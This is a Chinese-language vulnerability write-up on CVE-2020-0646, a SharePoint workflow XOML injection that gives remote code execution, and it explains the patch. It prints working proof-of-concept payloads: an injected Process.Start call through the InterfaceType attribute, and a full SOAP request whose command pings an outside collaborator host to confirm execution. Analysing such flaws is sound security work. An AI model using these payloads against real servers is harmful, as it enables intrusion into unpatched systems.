您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何進行SharePoint中的遠程代碼執行漏洞分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
2019年11月份,安全研究人員在微軟SharePoint Online的工作流中發現了一個代碼注入漏洞,并將其上報給微軟公司。攻擊者一旦成功利用該漏洞,將能夠在目標系統中實現遠程代碼執行。微軟在獲取到漏洞信息之后,第一時間修復了在線平臺上的相關漏洞,但是卻到2020年的1月份才修復.NET Framework中的相關問題。因此,如果你的SharePoint On-Rremise版本沒有安裝2020年1月份的.NET補丁,那你將仍然會受到該漏洞的影響。
需要注意的是,如果你的IIS配置支持.XOML擴展,那么在文件上傳時你同樣有可能受到該漏洞的影響。
在編譯XOML格式文件時,攻擊者可以利用System.Workflow.Activities命名空間中的某些參數來在SharePoint服務器上執行任意代碼。正是因為攻擊者能夠執行任意代碼,因此該漏洞也能被用來繞過Workflow編譯器的nocode選項。
下面的XOML文件顯示的是一個使用CallExternalMethodActivity類的樣例:
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow"> <CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//' /></SequentialWorkflowActivity>
在編譯過程中,攻擊者可以將InterfaceType屬性的值注入到剛剛生成的C#臨時文件中:
… private void InitializeComponent() { … this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//); … }…
完成上述操作之后,攻擊者就可以繞過原函數并嘗試實現任意代碼執行了。值得一提的是,在上述例子中,當InterfaceType屬性受到影響時,其他String類型的屬性(例如MethodName)已正確驗證或轉義。
除此之外,CodeActivity類中的ExecuteCode參數同樣會受這種利用方式的影響,但是我們無法在SharePoint的在線版本中針對該參數進行利用和攻擊,只能適用于On-Premise版本。當然了,這里很可能還有其他的Activity類會受到潛在影響。
比如說,在下面的例子中,攻擊者使用了如下HTTP請求在SharePoint Online版本上執行了任意代碼:
POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1Date: Tue, 29 Oct 2019 14:26:21 GMTMIME-Version: 1.0Accept: */*SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjectsUser-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)Host: [REDACTED].sharepoint.comAccept-Language: en-us, en;q=0.1Accept: auth/sicilyX-FORMS_BASED_AUTH_ACCEPTED: TContent-Type: text/xml; charset=utf-8X-Vermeer-Content-Type: text/xml; charset=utf-8Accept-encoding: gzip, deflateConnection: Keep-AlivePragma: no-cacheContent-Length: 1031Cookie: [REDACTED]<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow"> <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c ping o9ydzn3p7ed579lepxolocqyqpwik7.[redactedBurpCollabServer]");private/**/void/**/foobar(){//' /></SequentialWorkflowActivity>]]></workflowMarkupText><rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body></soap:Envelope>
攻擊完成之后,我們就可以查看到主機需要解析的對應DNS名稱了:
除此之外,攻擊者同樣可以利用上述請求來利用On-Premise版本中的漏洞并實施攻擊。
安裝了漏洞CVE-2020-0646的補丁之后,SharePoint的工作流將會檢查所有的XML元素及屬性,以確保它們只包含有限數量的合法字符。因此,當使用所選的nocode選項時,攻擊者將無法在默認配置中向生成的C#代碼注入任意代碼了。
關于如何進行SharePoint中的遠程代碼執行漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。